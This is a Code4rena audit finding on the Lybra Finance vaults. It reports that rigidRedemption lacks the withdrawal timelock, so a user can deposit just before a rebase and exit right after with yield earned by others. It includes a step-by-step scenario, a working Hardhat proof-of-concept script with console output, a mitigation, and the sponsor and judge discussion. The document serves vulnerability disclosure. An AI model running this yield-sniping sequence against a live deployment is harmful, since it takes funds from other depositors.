Lack of timelock on rigidRedemption, enables to steal yield from other users

[code423n4]

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L232

Vulnerability details

Impact

The withdraw function of the LybraEUSDVaultBase vaults, uses a time softlock to prevent users from hopping in and out of the protocol, to gain access to the yield generated by other users and then leave right away (by charging a small percentage from the withdrawn amount).
The same measure isn't applied to rigidRedemptions, which enable a user to withdraw most of the underlying assets at any time after deposit.
This enables an user to deposit into the pool right before a rabase is about to happen, get access to the yield generated by other users and leave by calling rigidRedemption and withdraw on the tokens left by rigid redemption (the amount charged on the leftovers assets, can be outbalanced by the yield).
Therefor a malicious user to get access to yield that they didn't generated, effectively stealing it from others. The amount that the user will get access to will vary based on the deposited amounts.

Proof of Concept

This issue involves 3 function:
withdraw(address onBehalfOf, uint256 amount) from the LybraEUSDVaultBase contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L98) which internally calls checkWithdrawal(address user, uint256 amount)(https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L98) to check that 3 days has passed after deposit, and charges the user otherways:

withdrawal = block.timestamp - 3 days >= depositedTime[user] ? amount : (amount * 999) / 1000;

rigidRedemption(address provider, uint256 eusdAmount) from the LybraEUSDVaultBase contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L232) which enables a user to withdraw the full borrowed amount getting back a 1:1 ratio of collateral (the rest will be left in the vault, and can be withdrawn)

* @notice Choose a Redemption Provider, Rigid Redeem `eusdAmount` of EUSD and get 1:1 value of stETH
* Emits a `RigidRedemption` event.

excessIncomeDistribution(uint256 stETHAmount) from the LybraStETHDepositVault contract (https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/LybraStETHVault.sol#L62) which enables anyone to buy the stETH, generated by lido to the vault (or by charging on withdraws and rigidRedemptions), for EUSD, allocating them to EUSD holders through rebasing

* @notice When stETH balance increases through LSD or other reasons, the excess income is sold for EUSD, allocated to EUSD holders through rebase mechanism.
* Emits a `LSDValueCaptured` event.

Scenario:
Step0: users use the protocol as intended depositing stETH which will generate a yield
Step1: Bob calls the rebase mechanism (excessIncomeDistribution)
Step2: Alice sees the rebase and preceeds it with a deposit (either by frontruinng or by pure prediction, since stETH rebase happens daily at a fixed time)
Step3: Right after Bob's rebase gets executed, Alice calls rigidRedemption (to repay the full debt) followed by withdraw (to get the difference out), getting most of the stETH back and some EUSD
Step4: Since the stETH charged by the withdraw function is left in the vault, if she wants, Alice can now call excessIncomeDistribution, to get the tokens back, using the EUSD recived by rebasing, and leaving with slightly more stETH and some EUSD, that she got for free, leaving 0 debts and 0 assets deposited, having left her tokens in the vault for a few seconds.

Here is an hardhat script that shows the scenario above in javascript (each step is highlighted in the comments, and it will print all the balances to the console).
Before running it you'll have to install the '@openzeppelin/test-helpers' package:

const {ethers} = require("hardhat");
const {
        constants,
        expectRevert,
    } = require('@openzeppelin/test-helpers');//questo va installato
const { expect } = require("chai");
async function main() {
  this.accounts = await ethers.getSigners()
        this.owner = this.accounts[0].address
        console.log("Deployng contracts...")
        const goerliEndPoint = '0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23'
        const goerliChainId = 10121

        const oracle = await ethers.getContractFactory("mockChainlink")
        const stETH = await ethers.getContractFactory("stETHMock")
        const EUSDMock = await ethers.getContractFactory("EUSD")
        const configurator = await ethers.getContractFactory("Configurator")
        const LybraStETHDepositVault = await ethers.getContractFactory("LybraStETHDepositVault")
        const GovernanceTimelock = await ethers.getContractFactory("GovernanceTimelock")
        const EUSDMiningIncentives = await ethers.getContractFactory("EUSDMiningIncentives")
        const esLBRBoost = await ethers.getContractFactory("esLBRBoost")
        const LBR = await ethers.getContractFactory("LBR")
        const esLBR = await ethers.getContractFactory("esLBR")
        const PeUSDMainnet = await ethers.getContractFactory("PeUSDMainnet")
        const ProtocolRewardsPool = await ethers.getContractFactory("ProtocolRewardsPool")
        const mockCurvePool = await ethers.getContractFactory("mockCurve")//
        const mockUSDC = await ethers.getContractFactory("mockUSDC")
        const lbrOracleMock = await ethers.getContractFactory("mockLBRPriceOracle")//
        
        this.oracle = await oracle.deploy()

        this.lbrOracleMock = await lbrOracleMock.deploy()

        this.stETHMock = await stETH.deploy()

        this.GovernanceTimelock = await GovernanceTimelock.deploy(1,[this.owner],[this.owner],this.owner);


        this.esLBRBoost = await esLBRBoost.deploy()

        this.usdc = await mockUSDC.deploy()

        this.mockCurvePool = await mockCurvePool.deploy()

        this.configurator = await configurator.deploy(this.GovernanceTimelock.address, this.mockCurvePool.address)


        this.LBR = await LBR.deploy(this.configurator.address, 8, goerliEndPoint)
  
        this.esLBR = await esLBR.deploy(this.configurator.address)


        this.EUSDMock = await EUSDMock.deploy(this.configurator.address)

        await this.configurator.initToken(this.EUSDMock.address, constants.ZERO_ADDRESS)//

        this.EUSDMiningIncentives = await EUSDMiningIncentives.deploy(this.configurator.address, this.esLBRBoost.address, this.oracle.address, this.lbrOracleMock.address)

        this.ProtocolRewardsPool = await ProtocolRewardsPool.deploy(this.configurator.address)

        this.stETHVault = await LybraStETHDepositVault.deploy(this.configurator.address, this.stETHMock.address, this.oracle.address)

        this.PeUSDMainnet = await PeUSDMainnet.deploy(this.configurator.address, 8, goerliEndPoint)

        await this.mockCurvePool.setToken(this.EUSDMock.address, this.usdc.address)
        await this.configurator.setMintVault(this.stETHVault.address, true);
        await this.configurator.setPremiumTradingEnabled(true);
        await this.configurator.setMintVaultMaxSupply(this.stETHVault.address, ethers.utils.parseEther("10000000000"));
        await this.configurator.setBorrowApy(this.stETHVault.address, 200);
        await this.configurator.setEUSDMiningIncentives(this.EUSDMiningIncentives.address)

        await this.EUSDMiningIncentives.setToken(this.LBR.address, this.esLBR.address)
        await this.ProtocolRewardsPool.setTokenAddress(this.esLBR.address, this.LBR.address, this.esLBRBoost.address);







        ///////////////////////////////////////////POC////////////////////////////////////////////////////////////

        //random users, mints stETH and deposits them (only 1 in the script for simplicity)
        await stETHMock.connect(accounts[2]).submit(accounts[2].address, {value:ethers.utils.parseEther("1000") });
        await stETHMock.connect(accounts[2]).approve(this.stETHVault.address, ethers.constants.MaxUint256)
        await stETHVault.connect(accounts[2]).depositAssetToMint(await stETHMock.balanceOf(accounts[2].address),ethers.utils.parseEther("10000"));
       
        //time passes generathing stETH yield
        await network.provider.send("evm_increaseTime", [6500])
        await network.provider.send("evm_mine")

        //user 3 balances before exploit 
        await stETHMock.connect(accounts[3]).submit(accounts[3].address, {value:ethers.utils.parseEther("100") });
        //timestamp
        const blockNumBefore = await ethers.provider.getBlockNumber();
        const blockBefore = await ethers.provider.getBlock(blockNumBefore);
        const timestampBefore = blockBefore.timestamp;
        console.log("Timestamp before the exploit: " + timestampBefore)
        //stETH balance
        const sthETHBalanceBefore = await stETHMock.balanceOf(accounts[3].address)
        console.log("sthETHBalance before the exploit: " +sthETHBalanceBefore)
        //EUSD shares
        const EUSDSharesBefore = await this.EUSDMock.sharesOf(accounts[3].address)
        console.log("EUSD shares before the exploit: " + EUSDSharesBefore)
        //EUSD balance 
        const EUSDBalanceBefore = await this.EUSDMock.balanceOf(accounts[3].address)
        console.log("EUSD balance before the exploit: " + EUSDBalanceBefore)
        //Deposited assets
        const depositedAssetBefore = await stETHVault.depositedAsset(accounts[3].address)
        console.log("Deposited assets before the exploit: " + depositedAssetBefore)
        //Borrowed amount
        const borrowedBefore = await stETHVault.getBorrowedOf(accounts[3].address)
        console.log("Borrowed amount before the exploit: " + borrowedBefore)

        //right before somene calls the rebasde function (excessIncomeDistribution) user3 deposits into the vault
        const depositedAmount = ethers.utils.parseEther("1.0")
        await stETHMock.connect(accounts[3]).approve(this.stETHVault.address, ethers.constants.MaxUint256)
        await stETHVault.connect(accounts[3]).depositAssetToMint(depositedAmount,ethers.utils.parseEther("1000.0"))

        //someone call excessIncomeDistribution causing the rebase to distribute the yield to users
        await stETHVault.connect(accounts[2]).excessIncomeDistribution(ethers.utils.parseEther("0.01"))
        console.log("Alice deposits before rebase and withdraws immediately after")

        //right after the rebase user3 redeems all the necessary tokens
        await this.configurator.connect(accounts[3]).becomeRedemptionProvider(true)
        await stETHVault.connect(accounts[3]).rigidRedemption(accounts[3].address, await stETHVault.getBorrowedOf(accounts[3].address))
        await stETHVault.connect(accounts[3]).withdraw(accounts[3].address,await stETHVault.depositedAsset(accounts[3].address));
        await stETHVault.connect(accounts[3]).excessIncomeDistribution(ethers.utils.parseEther("0.01"))

       
        //user3 balances after exploit
        //timestamp
        const blockNumAfter = await ethers.provider.getBlockNumber();
        const blockAfter = await ethers.provider.getBlock(blockNumAfter);
        const timestampAfter = blockAfter.timestamp;
        console.log("Timestamp after the exploit: " + timestampAfter)
        //stETH balance
        const sthETHBalanceAfter = await stETHMock.balanceOf(accounts[3].address)
        console.log("sthETH balance after the exploit: " +sthETHBalanceAfter)
        //EUSD shares
        const EUSDSharesAfter = await this.EUSDMock.sharesOf(accounts[3].address)
        console.log("EUSD shares after the exploit: " + EUSDSharesAfter)
        //EUSD balance 
        const EUSDBalanceAfter = await this.EUSDMock.balanceOf(accounts[3].address)
        console.log("EUSD balance after the exploit: " + EUSDBalanceAfter)
        //Deposited assets
        const depositedAssetAfter = await stETHVault.depositedAsset(accounts[3].address)
        console.log("Deposited assets after the exploit: " + depositedAssetAfter)
        //Borrowed amount
        const borrowedAfter = await stETHVault.getBorrowedOf(accounts[3].address)
        console.log("Borrowed amount after the exploit: " + borrowedAfter)

        expect(sthETHBalanceAfter > sthETHBalanceBefore)

}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

It will log the following content to the console:

Deployng contracts...
Timestamp before the exploit: 1688138231
sthETHBalance before the exploit: 99999999999999999999
EUSD shares before the exploit: 0
EUSD balance before the exploit: 0
Deposited assets before the exploit: 0
Borrowed amount before the exploit: 0
Alice deposits before rebase and withdraws immediately after
Timestamp after the exploit: 1688138238
sthETH balance after the exploit: 100000319476188886835
EUSD shares after the exploit: 320852235386255949
EUSD balance after the exploit: 321329019285990239
Deposited assets after the exploit: 0
Borrowed amount after the exploit: 0

Recommended Mitigation Steps

The same time lock logic that is applied to the withdraw function could be applied to rigidRedemption, making this type of interactions unprofitable.

Assessed type

Timing

[c4-pre-sort]

JeffCX marked the issue as primary issue

[LybraFinance]

There is a 0.5% fee for redemptions, which offsets the potential gains from such operations.

[c4-sponsor]

LybraFinance marked the issue as sponsor disputed

[0xean]

@LybraFinance - can you comment on why you believe the test is not showing that fee outweighing the benefit?

[LybraFinance]

Because in step three, there are additional fees involved when the user performs a withdraw, so it's not possible to completely avoid losses. This situation does exist, but we consider it a moderate-risk issue.

[c4-sponsor]

LybraFinance marked the issue as sponsor confirmed

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean marked the issue as selected for report